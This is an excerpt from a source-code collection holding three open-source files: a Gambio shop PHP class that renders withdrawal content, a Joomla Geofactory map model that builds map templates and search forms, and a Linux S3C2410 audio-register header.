glob($t_path); if(is_array($t_files_array) && count($t_files_array) == 1) { return $t_path; } if($this->withdrawal_form == true) { $t_content = $this->get_withdrawal_form_content(); } elseif($this->content_group == '3889895') { $t_content = $this->get_withdrawal_content(); } else { $this->coo_content_view->set_content_template('content_download.html'); $this->coo_content_view->set_content_data('content', $this->content); $t_content = $this->coo_content_view->get_html(); } $t_content = preg_replace('$</font>$', '</span>', $t_content); $t_content = preg_replace('#<script(.*?)>(.*?)</script>#is', '', $t_content); $t_content = preg_replace('#<style(.*?)>(.*?)</style>#is', '', $t_content); $t_content = preg_replace('#<title(.*?)>(.*?)</title>#is', '', $t_content); $t_content = str_replace("&bdquo;", '"', $t_content); $t_content = str_replace("&ldquo;", '"', $t_content); $t_content = str_replace("&ndash;", '-', $t_content); $t_content = preg_replace('#<p(.*?)>(.*?)</p>#is', '<div$1>$2</div><br />', $t_content); $t_content = '<html><head><body style="font-size: 12px;">' . $t_content . '</body></html>'; file_put_contents($t_path, $t_content); return $t_path; } protected function get_withdrawal_form_content() { $this->coo_withdrawal_content_view->set_template_dir(DIR_FS_CATALOG . 'templates/' . CURRENT_TEMPLATE . '/module/'); $this->coo_withdrawal_content_view->set_content_template('withdrawal_pdf_form.html'); if((int)STORE_COUNTRY > 0) { $t_query = 'SELECT countries_iso_code_2 FROM countries WHERE countries_id = "' . xtc_db_input(STORE_COUNTRY) . '"'; $t_result = xtc_db_query($t_query); if(xtc_db_num_rows($t_result) == 1) { $t_row = xtc_db_fetch_array($t_result); $coo_language_text_manager = MainFactory::create_object('LanguageTextManager', array('Countries', $this->language_id)); define('STORE_COUNTRY_NAME', $coo_language_text_manager->get_text($t_row['countries_iso_code_2'])); } } return $this->coo_withdrawal_content_view->get_html(); } protected function get_withdrawal_content() { $t_content = array(); $coo_text_manager = MainFactory::create_object('LanguageTextManager', array('withdrawal', $this->language_id)); $t_content['content_heading'] = $coo_text_manager->get_text('withdrawal_rights'); $coo_withdrawal_control = MainFactory::create_object('WithdrawalControl'); $coo_withdrawal_control->set_customer_status_id($this->customer_status_id); $coo_withdrawal_control->set_language_id($this->language_id); $t_content['content_text'] = $coo_withdrawal_control->get_withdrawal_content(); $this->coo_withdrawal_content_view->set_template_dir(DIR_FS_CATALOG . 'templates/' . CURRENT_TEMPLATE . '/module/'); $this->coo_withdrawal_content_view->set_content_template('content_download.html'); $this->coo_withdrawal_content_view->set_content_data('content', $t_content); return $this->coo_withdrawal_content_view->get_html(); } public function set_content_group($p_content_group) { $this->content_group = $p_content_group; } public function set_language_id($p_language_id) { if((int)$p_language_id == 0) { trigger_error('language_id is not an int!'); } $this->language_id = $p_language_id; } public function set_customer_status_id($p_customer_status_id) { if((string)(int)$p_customer_status_id !== (string)$p_customer_status_id) { trigger_error('customer_status_id is not an int!'); } $this->customer_status_id = (int)$p_customer_status_id; } public function set_withdrawal_form($p_withdrawal_form) { if((int)$p_withdrawal_form == 1) { $this->withdrawal_form = true; } } }
khadim-raath/gambioTest
system/classes/shop_content/ShopContentContentControl.inc.php
PHP
gpl-2.0
22,360
<?php /** * @name Geocode Factory * @package geoFactory * @copyright Copyright © 2013 - All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt * @author Cédric Pelloquin aka Rick <info@myJoom.com> * @website www.myJoom.com */ defined('_JEXEC') or die; class GeofactoryModelMap extends JModelItem{ protected $mapContext = 'c'; // c=component, m=module, ... public function getItem($idMap = null){ $app = JFactory::getApplication('site'); $idMap = !empty($idMap) ? $idMap : (int) $app->input->getInt('id'); $map = $this->_loadMap($idMap); // variables de travail $map->forceZoom = 0; $this->_loadMapTemplate($map); $this->_cleanCss($map) ; $this->_defineContext($map) ; $this->_item[$idMap] = $map; return $this->_item[$idMap]; } public function setMapContext($c) {$this->mapContext=$c;} public function createfile($idMap){ $map = $this->_loadMap($idMap, true); $map = (array) $map ; return json_encode($map) ; } private function _loadMap($idMap, $full=false){ if ($idMap<1) return JError::raiseError(404, JText::_('COM_GEOFACTORY_MAP_ERROR_ID')); try{ $map = GeofactoryHelper::getMap($idMap) ; if (!$map) return JError::raiseError(404, JText::_('COM_GEOFACTORY_MAP_ERROR_UNKNOW')); if ($full) $this->_mergeAllDataToMap($map) ; } catch (Exception $e){ if ($e->getCode() == 404){ // Need to go thru the error handler to allow Redirect to work. JError::raiseError(404, $e->getMessage()); } else{ $this->setError($e); JError::raiseError(404, $e->getMessage()); } return null; } // détermine le nom de la varaible de map et le nom du container $map->mapInternalName = $this->mapContext.'_gf_'.$map->id ; return $map ; } private function _defineContext(&$map){ $app = JFactory::getApplication('site'); $option = $app->input->getString('option', ''); //reset... $map->gf_zoomMeId = 0; $map->gf_zoomMeType = '' ; $map->gf_curCat = -1 ; // dans ce cas on est pas dans un module, ni dans un profile if (strtolower($option)!="com_geofactory"){ JPluginHelper::importPlugin('geocodefactory'); $dsp = JDispatcher::getInstance(); $dsp->trigger('defineContext', array($option, &$map)); // compatibilé ascendante car avant on passait pas map, mais defineContext mettait les valeurs $session = JFactory::getSession(); $sszmid = $session->get('gf_zoomMeId'); $sszmty = $session->get('gf_zoomMeType'); if (($sszmid>0) AND ($map->gf_zoomMeId==0)) $map->ss_zoomMeId = $sszmid ; if ((strlen($sszmty)>0) AND ($map->gf_zoomMeType=='')) $map->gf_zoomMeType = $sszmid ; } } // ajoute les parametres utiles a la carte directement dans l'objet map private function _mergeAllDataToMap(&$map){ JPluginHelper::importPlugin('geocodefactory'); $dsp = JDispatcher::getInstance(); $app = JFactory::getApplication('site'); $config = JComponentHelper::getParams('com_geofactory'); $session= JFactory::getSession(); // données de l'url $map->forceZoom = $app->input->getInt('zf',0); $mapName = $app->input->getString('mn'); $map->mapInternalName = strlen($mapName)>3?$mapName:$map->mapInternalName; $map->mapStyle = str_replace(array("\n","\t"," ","\r"),'',trim($map->mapStyle)) ; // prépare et teste les valeur du clustering $map->gridSize = intval($map->gridSize)>0?intval($map->gridSize):60 ; $map->minClustSize = intval($map->minimumClusterSize)>0?intval($map->minimumClusterSize):2 ; $map->endZoom = intval($map->clusterZoom)>0?intval($map->clusterZoom):10 ; $map->imagePath = (strlen(trim($map->imagePath))>0)?$map->imagePath:""; $map->imageSizes = (strlen(trim($map->imageSizes))>0)?$map->imageSizes:"" ; // dyn radius maximum $map->dynRadDistMax = intval($map->dynRadDistMax)>0?intval($map->dynRadDistMax):50 ; // chemin commun de toutes les images utilisées par JS $map->common_image_path = JURI::root().'media/com_geofactory/assets/' ; // passe le bon index.php $map->rootJoomla = JURI::root(true)."/index.php" ; // charge les textes $map->idsNoStreetView = JText::_('COM_GEOFACTORY_NO_STREEETVIEW_HERE') ; $map->dynRadTxtCenter = JText::_('COM_GEOFACTORY_DYN_RAD_MOVE_CENTER') ; $map->dynRadTxtDrag = JText::_('COM_GEOFACTORY_DYN_RAD_MOVE_SIZER') ; // ajout de la note de bas de carte $map->hideNote = $config->get('hideNote')?1:0 ; // divers codes de plugins a verifier... ajoute ce qui y est $gateways = array() ; $dsp->trigger('gatewayPresent', array(&$gateways)); // ajoute chaque gateway dispo comme nouvelle variable ... $map->pluginMachin = 1/0 ; if (count($gateways)){foreach($gateways as $k=>$v)$map->$k = $v ;} // ajout des données de section // si je suis en train d'afficher le profile d'un user depuis le plugin CB / JS $map->ss_zoomMeId = $app->input->getInt('zmid'); $map->ss_zoomMeTy = $app->input->getString('tmty'); // savoir si le zoom de la session de l'object courant est ou non un profile $map->ss_zoomMeProf = 0 ; $dsp->trigger('isProfile', array($map->ss_zoomMeTy, &$map->ss_zoomMeProf)); $map->ss_zoomMeProf = $map->ss_zoomMeProf?1:0; // array contenant les coordonnées de l'article -> je suis dans un article, je centre la carte sur ce dernier // on peut pas gérer les articles avec zoomme, car l’id de l’article est parfois dans com_contents, com_frontpage, com_custom..... bref $articleArray = $session->get('gf_article_map_center', array()); $session->clear('gf_article_map_center'); $map->ss_artLat = count($articleArray)>1?$this->_checkCoord($articleArray[0]):255; $map->ss_artLng = count($articleArray)>1?$this->_checkCoord($articleArray[1]):255; // on en profite pour chercher les coordonées serverside... ca vaut ce que ca vaut... $map->centerlatPhpGc = 0; $map->centerlngPhpGc = 0; if (function_exists('file_get_contents')){ $ip = $_SERVER['REMOTE_ADDR']; if (strlen($ip)>6){ $json = '' ; $url = "http://ipinfo.io/{$ip}/json"; $opts = array('http'=>array('timeout'=>1)); $context = stream_context_create($opts); $json = file_get_contents($url,false,$context); if (strlen($json)>2){ $details = json_decode($json); if ((strlen($details->city)>3) AND (strlen($details->loc)>3)){ $coor = explode(',', $details->loc); if (is_array($coor) AND (count($coor)==2)){ $map->centerlatPhpGc = $this->_checkCoord($coor[0]); $map->centerlngPhpGc = $this->_checkCoord($coor[1]); } } } } } $map->centerlat = $this->_checkCoord($map->centerlat); $map->centerlng = $this->_checkCoord($map->centerlng); } private function _checkCoord($coord){ if (!$coord) return 0; if ($coord == "?") return 0; if ($coord == 255) return 0; if ($coord == "") return 0; if (!is_numeric($coord)) return 0; return $coord; } private function _loadMapTemplate(&$map){ // plugins... JPluginHelper::importPlugin('geocodefactory'); $dsp = JDispatcher::getInstance(); // charge les markersets $config = JComponentHelper::getParams('com_geofactory'); $app = JFactory::getApplication('site'); $template = htmlspecialchars_decode($map->template) ; $mapVar = $map->mapInternalName ; $map->fullCss = strlen($map->cssMap)>0?$map->cssMap:"" ; // --- la carte elle meme $width = strlen($map->mapwidth)>5?$map->mapwidth:"width:200px"; $height = strlen($map->mapheight)>5?$map->mapheight:"height:200px"; $size = str_replace(' ', '', $width .";".$height.";"); $carte = '<div id="gf_waitZone"></div>'; $carte.= '<div id="'.$mapVar.'" class="gf_map" style="'.$size.'"></div>'; // si pas de carte dans template ... if (strpos($template, "{map}") === false) $template = $template.'{map}' ; // dans ce cas j'enlève tout et créer un template auto if ($map->templateAuto==1){ if (strpos($template, "{radius_form}") === false) $template = $template.'{radius_form}' ; $map->radFormMode=3; } $template = str_replace('{map}', $carte, $template); // --- nombre de markers $number = '<span id="gf_NbrMarkersPre">0</span>'; $template = str_replace('{number}', $number, $template); // --- dessin du side bar $template = str_replace('{sidebar}', '<div id="gf_sidebar"></div>', $template); // --- dessin du side list $template = str_replace('{sidelists}', '<div id="gf_sidelists"></div>', $template); // --- side list premium (mixe deux listes et mes les resulats ) $template = str_replace('{sidelists_premium}', '<div id="gf_sidelistPremium"></div>', $template); // --- boutons $locate_me = '<input id="gf_locate_me" type="button" value="'.JText::_('COM_GEOFACTORY_LOCATE_ME').'" onClick="'.$mapVar.'.LMBTN();" />'; $save_me = '';//'<input id="gf_save_me" type="button" value="'.JText::_('COM_GEOFACTORY_SAVE_ME').'" onClick="axSavePos(locateMarker.getPosition().lat(), locateMarker.getPosition().lng(), '.$mapVar.');" />'; $reset_me = '';//plus pour l'instant <input id="gf_reset_me" type="button" value="'.JText::_('COM_GEOFACTORY_RESET_ME').'" onClick="axSavePos(255, 255, '.$mapVar.');" />'; //$near_me = '<input id="gf_near_me" type="button" value="'.JText::_('COM_GEOFACTORY_NEAR_ME').'" onClick="'.$mapVar.'.NMBTN();" />'; $near_me = '<button id="gf_near_me" onclick="'.$mapVar.'.NMBTN();" class="btn search-postnr" type="button"><i class="fa fa-search"></i>Find nærmeste / SØG NU</button>'; $save_me_full = '';//plus pour l'instant '<input id="gf_save_me_full" type="button" value="'.JText::_('COM_GEOFACTORY_SAVE_ME_FULL').'" onClick="axSavePos(locateMarker.getPosition().lat(), locateMarker.getPosition().lng(), '.$mapVar.', true);" />'; $reset_map = '<input type="button" onclick="'.$mapVar.'.SLRES();" id="gf_reset_rad_btn" value="'.JText::_('COM_GEOFACTORY_RESET_MAP').'"/>'; // --- route si route est utilisé et que {route} n'est pas dans le template je l'ajoute automatiquement $route = $this->_getRouteDiv(); if ((strpos($template, '{route}')===false) AND ($map->useRoutePlaner)) $template.= '{route}'; // --- selecteur de listes $idMs = GeofactoryHelper::getArrayIdMs($map->id) ; $selector = "" ; $m_selector = "" ; $toggeler = "" ; $toggeler_map = ""; $selector_1 = "" ; $m_selector_1 = "" ; $toggeler_1 = "" ; $toggeler_img = "" ; $toggeler_img_1 = "" ; if (count($idMs)){ $selector .='<select id="gf_list_selector" onChange="'.$mapVar.'.SLFP();" style="width:100%;"><option selected="selected" value="0">'.JText::_('COM_GEOFACTORY_ALL').'</option>';// la constante JALL pourrait etre utilisée mais cela résuit la souplesse de customisation $m_selector .='<select id="gf_multi_selector" onChange="'.$mapVar.'.SLFP();" style="width:100%;" multiple="multiple" size="'.count($idMs).'" >'; $toggeler .='<div id="gf_toggeler">'; $toggeler_img .= $toggeler ; $selector_1 .='<select id="gf_list_selector" onChange="'.$mapVar.'.SLFP();" style="width:100%;">'; $m_selector_1 .='<select id="gf_multi_selector" onChange="'.$mapVar.'.SLFP();" style="width:100%;" multiple="multiple" size="'.count($idMs).'" >'; $toggeler_1 .= $toggeler ; $toggeler_img_1 .= $toggeler ; // slectionne le premier $first = true ; $sel_1 = ' selected="selected" ' ; $chk_1 = ' checked="checked" ' ; foreach($idMs as $ms){ $list = GeofactoryHelper::getMs($ms) ; if (!$list) continue ; // je surdéfinit l'état des chks, avec ce setting, qui est testé que si isset (pour etre compatible avec ancien MS) $sel = ' selected="selected" ' ; $chk = ' checked="checked" ' ; if (isset($list->checked_loading) AND ((int)$list->checked_loading<1)){ $sel = ''; $chk = ''; } // styles ... $map->fullCss .= strlen($list->cssMs)>0?$list->cssMs:"" ; // image pour les cas nécessaires $img = GeofactoryHelper::_getSelectorImage($list) ; $selector .= '<option value="'.$list->typeList.'_'.$list->id.'">'.$list->name.'</option>'; $m_selector .= '<option value="'.$list->typeList.'_'.$list->id.'" selected="selected">'.$list->name.'</option>'; $toggeler .= '<div id="gf_toggeler_item_'.$list->id.'" style="margin-right:10px;float:left" class="gf_toggeler_item"><input type="checkbox" '.$chk.' name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();">'.$list->name.'</div>'; $toggeler_map .= '<div class="gfMapControls" id="gf_toggeler_item_'.$list->id.'" style="height:28px!important;margin-top:3px!important;padding:2px!important;float:left;width:100%;"><input type="checkbox" '.$chk.' style="margin:0px!important;" name="'.$list->typeList.'_'.$list->id.'" onChange=" switchPanel(\'gf_toggeler\', 0); '.$mapVar.'.SLFP();"> '.$list->name.'</div>'; $toggeler_img .= '<div class="gf_toggeler_item" style="margin-right:10px;float:left"><input type="checkbox" '.$chk.' name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();"><img src="'.$img.'"> '.$list->name.'</div>'; $toggeler_img_1 .= '<div class="gf_toggeler_item" style="margin-right:10px;float:left"><input type="checkbox" '.$chk_1.' name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();"><img src="'.$img.'"> '.$list->name.'</div>'; // ajouté par kostas mais ne fonctionne pas partout // http://www.myjoom.com/code/index.php/tasksComments?tasks_id=43&projects_id=7 // $toggeler_img .= '<div class="gf_toggeler_item span2"><input type="checkbox" checked="checked" id="'.$list->typeList.'_'.$list->id.'" name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();"><label for="'.$list->typeList.'_'.$list->id.'"><img src="'.$img.'"></label><div id="toggle_desc_title"> '.$list->name.'</div></div>'; // $toggeler_img_1 .= '<div class="gf_toggeler_item span2"><input type="checkbox" '.$chk_1.' id="'.$list->typeList.'_'.$list->id.'" name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();"><label for="'.$list->typeList.'_'.$list->id.'"><img src="'.$img.'"></label><div id="toggle_desc_title"> '.$list->name.'</div></div>'; $toggeler_1 .= '<div class="gf_toggeler_item" style="margin-right:10px;float:left"><input type="checkbox" '.$chk_1.' name="'.$list->typeList.'_'.$list->id.'" onChange="'.$mapVar.'.SLFP();">'.$list->name.'</div>'; $selector_1 .= '<option '.$sel_1.' value="'.$list->typeList.'_'.$list->id.'">'.$list->name.'</option>'; $m_selector_1 .= $selector_1 ; if ($first){ $first = false ; $sel_1 = '' ; $chk_1 = '' ; } } $selector .= '</select>'; $m_selector .= '</select>'; $toggeler_img .= '</div>'; $toggeler .= '</div>'; $toggeler_1 .= '</div>'; $toggeler_img_1 .= '</div>'; $selector_1 .= '</select>'; $m_selector_1 .= '</select>'; } $dsp->trigger('beforeParseMapTemplate', array(&$template,$idMs, $map, $mapVar)); // --- Radius form - si il n'y a pas le radius, je l'ajoute artificiellement $radius_form = $this->_getRadForm($map, $mapVar, $toggeler_map, count($idMs)) ; $radius_form_hide = '<div style="display:none;" >' .$radius_form.'</div>' ; if ((strpos($template, '{radius_form}')===false) AND (strpos($template, '{radius_form_hide}')===false)) $template.= ($map->radFormMode==2)?'{radius_form}':'{radius_form_hide}' ; $template = str_replace('{locate_me}', $locate_me, $template); $template = str_replace('{near_me}', $near_me, $template); $template = str_replace('{save_me_full}', $save_me_full, $template); $template = str_replace('{save_me}', $save_me, $template); $template = str_replace('{reset_me}', $reset_me, $template); $template = str_replace('{reset_map}', $reset_map, $template); $template = str_replace('{radius_form}', $radius_form, $template); $template = str_replace('{radius_form_hide}', $radius_form_hide, $template); $template = str_replace('{route}', $route, $template); $template = str_replace('{toggle_selector_icon_1}', $toggeler_img_1, $template); $template = str_replace('{toggle_selector_icon}', $toggeler_img, $template); $template = str_replace('{toggle_selector}', $toggeler, $template); $template = str_replace('{multi_selector}', $m_selector, $template); $template = str_replace('{selector}', $selector, $template); $template = str_replace('{toggle_selector_1}', $toggeler_1, $template); $template = str_replace('{multi_selector_1}', $m_selector_1, $template); $template = str_replace('{selector_1}', $selector_1, $template); // --- debug $debug = "" ; if (GeofactoryHelper::isDebugMode()){ $debug = '<ul id="gf_debugmode">'; $debug.= ' <li>Debug mode ON</li>'; $debug.= ' <li>Map variable name : "'.$mapVar.'"</li>'; $debug.= ' <li>Data file : <a id="gf_debugmode_xml"></a></li>'; $debug.= ' <li>Last bubble : <a id="gf_debugmode_bubble"></a></li>' ; $debug.= '</ul>'; } // --- container general $template = '<div id="gf_template_container">'.$debug.$template.'</div>'; // --- dynacat $template = $this->_replaceDynCat($template) ; $map->formatedTemplate = $template ; } protected function _cleanCss(&$map){ // fixe le problème des templates responsive $css = ' #'.$map->mapInternalName.' img{max-width:none!important;}' ; // ajoute les éventuels styles perso $css = $css.$map->fullCss ; // clean... $css = str_replace(array("\t", "\r\n"), "", $css); $css = str_replace(array(" ", " ", " "), " ", $css); $css = str_replace("#", " #", $css); // $css = str_replace(".", " .", $css); $css = str_replace("{ ", "{", $css); $css = str_replace("} ", "}", $css); $css = str_replace(" {", "{", $css); $css = str_replace(" }", "}", $css); $map->fullCss = strlen(trim($css))>0?trim($css):""; } protected function _getRadiusDistances($map, $gf_mod_search){ $ses = JFactory::getSession(); $app = JFactory::getApplication('site'); // récupère la valeur du champs de recherche du module qui n'est pas sur cette page et le met dans la session $gf_mod_radius = $app->input->getFloat('gf_mod_radius', $ses->get('mj_rs_ref_dist',0)); if($gf_mod_search AND (strlen($gf_mod_search) > 0)){ $ses->set('gf_ss_search_phrase',$gf_mod_search); $ses->set('gf_ss_search_radius',$gf_mod_radius); } // ajout de la liste des valeurs $listVal = explode(',', $map->frontDistSelect) ; $find = false ; $radForm = '<select id="radiusSelect" style="width:75px!important;" class="gfMapControls" onChange="'.$map->mapInternalName.'.SLFI();">'; foreach($listVal as $val){ $sel = ($val==$gf_mod_radius)?' selected="selected" ':''; if ($sel!='') $find = true ; $radForm.= '<option value="'.$val.'" '.$sel.'>'.$val.'</option>'; } // si il entre une valeur custom par le module (ou l'url), on l'ajoute if (!$find AND is_numeric($gf_mod_radius) AND ($gf_mod_radius>0)) $radForm.= '<option value="'.$gf_mod_radius.'" selected="selected">'.$gf_mod_radius.'</option>'; $radForm.='</select>'; return $radForm ; } protected function _replaceDynCat($text) { $dyncat = array() ; $regex = '/{dyncat\s+(.*?)}/i'; if ( JString::strpos($text, "{dyncat ") === false ) return $text ; preg_match_all( $regex , $text, $matches ); $count = count( $matches[0] ); if ( $count < 1) return $text ; for ($i=0; $i < $count; $i++ ){ $code = str_replace("{dyncat ", '', $matches[0][$i] ); // $matches[0][$i] => [dyncat_xxxxxxx] => [xxxxxxx] $code = str_replace("}", '', $code ); $code = trim( $code ); // => MS_MT#88 $vCode = explode('#', $code) ; if ((count($vCode) < 1) OR (strlen($vCode[1])<1)) continue ; // remplace mon code $loading = JHTML::_('select.genericlist', array(JHTML::_('select.option', '', "...loading...")), "", 'class="gf_dyncat_sel" size="1"', 'value', 'text'); $div = '<span id="gf_dyncat_'.$vCode[0].'_'.$vCode[1].'">'.$loading.'</span>' ; $text = preg_replace('{'.$matches[0][$i].'}', $div, $text ); } return $text ; } protected function _getRadForm($map, $mapVar, $toggeler_map, $nbrMs) { $app = JFactory::getApplication('site'); // récupère la valeur du champs de recherche du module qui n'est pas sur cette page et le met dans la session $gf_mod_search = $app->input->getString('gf_mod_search', null); $form_start = '<form id="gf_radius_form" onsubmit="'.$mapVar.'.SLFI();return false;">' ; $input = '<div class="form-group"><input type="text" id="addressInput" value="'.$gf_mod_search.'" class="gfMapControls form-control" placeholder="Tast postnr. og vælg forslag....."/></div>' ; $dists = $this->_getRadiusDistances($map, $gf_mod_search) ; //$search_btn = '<input type="button" onclick="'.$mapVar.'.SLFI();" id="gf_search_rad_btn" value="'.JText::_('COM_GEOFACTORY_SEARCH').'"/>'; $search_btn = '<button type="button" class="btn search-postnr" onclick="'.$mapVar.'.SLFI();" id="gf_search_rad_btn"><i class="fa fa-search"></i>SØG NU</button>'; $divsOnMapGo = '<div id="gf_map_panel" style="padding-top:5px;display:none;" ><div id="gf_radius_form" style="margin:0;padding:0;">' ; $radius_form = '' ; if ($map->radFormMode==0){// default $radius_form.= $form_start ; //$radius_form.= '<label for="addressInput">'.JText::_('COM_GEOFACTORY_ADDRESS') .'</label>'; $radius_form.= $input ; //$radius_form.= '<label for="radiusSelect">'.JText::_('COM_GEOFACTORY_RADIUS').'</label>'; $radius_form.= $search_btn; $radius_form.= $dists ; $radius_form.= '</form>'; } if ($map->radFormMode==1){//snipet // default="Search from [input_center][distance_sel][search_btn]" $radius_form.= $form_start ; $radius_form.= $map->radFormSnipet ; $radius_form = str_replace('[input_center]', $input, $radius_form); $radius_form = str_replace('[distance_sel]', $dists, $radius_form); $radius_form = str_replace('[search_btn]', $search_btn, $radius_form); $radius_form.= '</form>'; } // pas de liste mais mode template auto ? if ($map->radFormMode==3 && $nbrMs && $nbrMs>0) $map->radFormMode=2 ; if ($map->radFormMode==3){ $radius_form.= $divsOnMapGo ; $radius_form.= $input; $radius_form.= $dists; $radius_form.= '<input type="button" class="gfMapControls" onclick="'.$mapVar.'.SLRES();" id="gf_reset_rad_btn" value="'.JText::_('COM_GEOFACTORY_RESET_MAP').'"/>'; $radius_form.= ' <input type="button" class="gfMapControls" value="Filters" onclick="switchPanel(\'gf_toggeler\', 0);" style="" />'; $radius_form.= '</div>'; $radius_form.= '<div id="gf_toggeler" style=" display:none;">'; $radius_form.= $toggeler_map ; $radius_form.= '</div>'; $radius_form.= '</div>'; } if ($map->radFormMode==2){ // on map $radius_form.= $divsOnMapGo ; $radius_form.= $input; $radius_form.= $dists; $radius_form.= '<input type="button" onclick="'.$mapVar.'.SLFI();" id="gf_search_rad_btn" value="" style="display:none" />'; $radius_form.= '<input type="button" onclick="'.$mapVar.'.SLRES();" id="gf_reset_rad_btn" value="" style="display:none" />'; $radius_form.= '</div>'; $radius_form.= '</div>'; } return $radius_form ; } protected function _getRouteDiv(){ $route = '<div id="gf_routecontainer">' ; $route.= '<select id="gf_transport">' ; $route.= '<option value="DRIVING">'.JText::_('COM_GEOFACTORY_DRIVING').'</option>' ; $route.= '<option value="WALKING">'.JText::_('COM_GEOFACTORY_WALKING').'</option>' ; $route.= '<option value="BICYCLING">'.JText::_('COM_GEOFACTORY_BICYCLING').'</option>' ; // work only on usa http://groups.google.com/group/google-maps-js-api-v3/browse_thread/thread/2f5e553c32eca3ad $route.= '</select>' ; //$route.=' <input type="button" onclick="'.$mapVar.'.RESRTE();" value="'.JText::_('COM_GEOFACTORY_RESET_ME').'"/>'; $route.= '<div id="gf_routepanel">' ; $route.= '</div>' ; $route.= '</div>' ; return $route ; } }
naka211/daekcenter
components/com_geofactory/models/map.php
PHP
gpl-2.0
24,094
/* linux/include/asm/arch-s3c2410/regs-iis.h * * Copyright (c) 2003 Simtec Electronics <linux@simtec.co.uk> * http://www.simtec.co.uk/products/SWLINUX/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * S3C2410 IIS register definition * * Changelog: * 19-06-2003 BJD Created file * 26-06-2003 BJD Finished off definitions for register addresses * 12-03-2004 BJD Updated include protection * 07-03-2005 BJD Added FIFO size flags and S3C2440 MPLL * 05-04-2005 LCVR Added IISFCON definitions for the S3C2400 * 18-07-2005 DA Change IISCON_MPLL to IISMOD_MPLL * Correct IISMOD_256FS and IISMOD_384FS * Add IISCON_PSCEN 2005.06 godori from www.aesop-embedded.org(ghcstop@empal.com) fix for s3c2440a sound driver */ #ifndef __ASM_ARCH_REGS_IIS_H #define __ASM_ARCH_REGS_IIS_H #include "map.h" // ghcstop add #include "bitfield_2.h" // ghcstop add #define S3C2410_IISCON (0x00) #define S3C2410_IISCON_LRINDEX (1<<8) #define S3C2410_IISCON_TXFIFORDY (1<<7) #define S3C2410_IISCON_RXFIFORDY (1<<6) #define S3C2410_IISCON_TXDMAEN (1<<5) #define S3C2410_IISCON_RXDMAEN (1<<4) #define S3C2410_IISCON_TXIDLE (1<<3) #define S3C2410_IISCON_RXIDLE (1<<2) #define S3C2410_IISCON_PSCEN (1<<1) #define S3C2410_IISCON_IISEN (1<<0) #define S3C2410_IISMOD (0x04) #define S3C2440_IISMOD_MPLL (1<<9) #define S3C2410_IISMOD_SLAVE (1<<8) #define S3C2410_IISMOD_MASTER (0<<8) #define S3C2410_IISMOD_NOXFER (0<<6) #define S3C2410_IISMOD_RXMODE (1<<6) #define S3C2410_IISMOD_TXMODE (2<<6) #define S3C2410_IISMOD_TXRXMODE (3<<6) #define S3C2410_IISMOD_LR_LLOW (0<<5) #define S3C2410_IISMOD_LR_RLOW (1<<5) #define S3C2410_IISMOD_IIS (0<<4) #define S3C2410_IISMOD_MSB (1<<4) #define S3C2410_IISMOD_8BIT (0<<3) #define S3C2410_IISMOD_16BIT (1<<3) #define S3C2410_IISMOD_BITMASK (1<<3) #define S3C2410_IISMOD_256FS (0<<2) #define S3C2410_IISMOD_384FS (1<<2) #define S3C2410_IISMOD_16FS (0<<0) #define S3C2410_IISMOD_32FS (1<<0) #define S3C2410_IISMOD_48FS (2<<0) #define S3C2410_IISPSR (0x08) #define S3C2410_IISPSR_INTMASK (31<<5) #define S3C2410_IISPSR_INTSHIFT (5) #define S3C2410_IISPSR_EXTMASK (31<<0) #define S3C2410_IISPSR_EXTSHFIT (0) #define S3C2410_IISFCON (0x0c) #define S3C2410_IISFCON_TXDMA (1<<15) #define S3C2410_IISFCON_RXDMA (1<<14) #define S3C2410_IISFCON_TXENABLE (1<<13) #define S3C2410_IISFCON_RXENABLE (1<<12) #define S3C2410_IISFCON_TXMASK (0x3f << 6) #define S3C2410_IISFCON_TXSHIFT (6) #define S3C2410_IISFCON_RXMASK (0x3f) #define S3C2410_IISFCON_RXSHIFT (0) #define S3C2400_IISFCON_TXDMA (1<<11) #define S3C2400_IISFCON_RXDMA (1<<10) #define S3C2400_IISFCON_TXENABLE (1<<9) #define S3C2400_IISFCON_RXENABLE (1<<8) #define S3C2400_IISFCON_TXMASK (0x07 << 4) #define S3C2400_IISFCON_TXSHIFT (4) #define S3C2400_IISFCON_RXMASK (0x07) #define S3C2400_IISFCON_RXSHIFT (0) #define S3C2410_IISFIFO (0x10) // ghcstop add, Àӽà ¶«»§ÄÚµå #define IISCON (*(volatile unsigned *)(S3C24XX_VA_IIS+0x00)) //IIS Control #define IISMOD (*(volatile unsigned *)(S3C24XX_VA_IIS+0x04)) //IIS Mode #define IISPSR (*(volatile unsigned *)(S3C24XX_VA_IIS+0x08)) //IIS Prescaler #define IISFIFOC (*(volatile unsigned *)(S3C24XX_VA_IIS+0x0c)) //IIS FIFO control #define IISFIFOE ((volatile unsigned short *)(S3C24XX_VA_IIS+0x10)) // little endian, ½ÇÁ¦»ç¿ë½Ã´Â PA¸¦ ½á¾ßÇÒ °Í °°´Ù...2410 swl Ä¿³Î ÂüÁ¶ #define IISCON_CH_RIGHT (1 << 8) /* Right channel */ #define IISCON_CH_LEFT (0 << 8) /* Left channel */ #define IISCON_TX_RDY (1 << 7) /* Transmit FIFO is ready(not empty) */ #define IISCON_RX_RDY (1 << 6) /* Receive FIFO is ready (not full) */ #define IISCON_TX_DMA (1 << 5) /* Transmit DMA service reqeust */ #define IISCON_RX_DMA (1 << 4) /* Receive DMA service reqeust */ #define IISCON_TX_IDLE (1 << 3) /* Transmit Channel idle */ #define IISCON_RX_IDLE (1 << 2) /* Receive Channel idle */ #define IISCON_PRESCALE (1 << 1) /* IIS Prescaler Enable */ #define IISCON_EN (1 << 0) /* IIS enable(start) */ #define IISMOD_SEL_PCLK (0 << 9) /* Master clock 0:PCLK in */ #define IISMOD_SEL_MPLL (1 << 9) /* Master clock MPLL in*/ #define IISMOD_SEL_MA (0 << 8) /* Master mode (IISLRCK, IISCLK are Output) */ #define IISMOD_SEL_SL (1 << 8) /* Slave mode (IISLRCK, IISCLK are Input) */ #define fIISMOD_SEL_TR Fld(2, 6) /* Transmit/Receive mode */ #define IISMOD_SEL_TR FMsk(fIISMOD_SEL_TR) #define IISMOD_SEL_NO FInsrt(0x0, fIISMOD_SEL_TR) 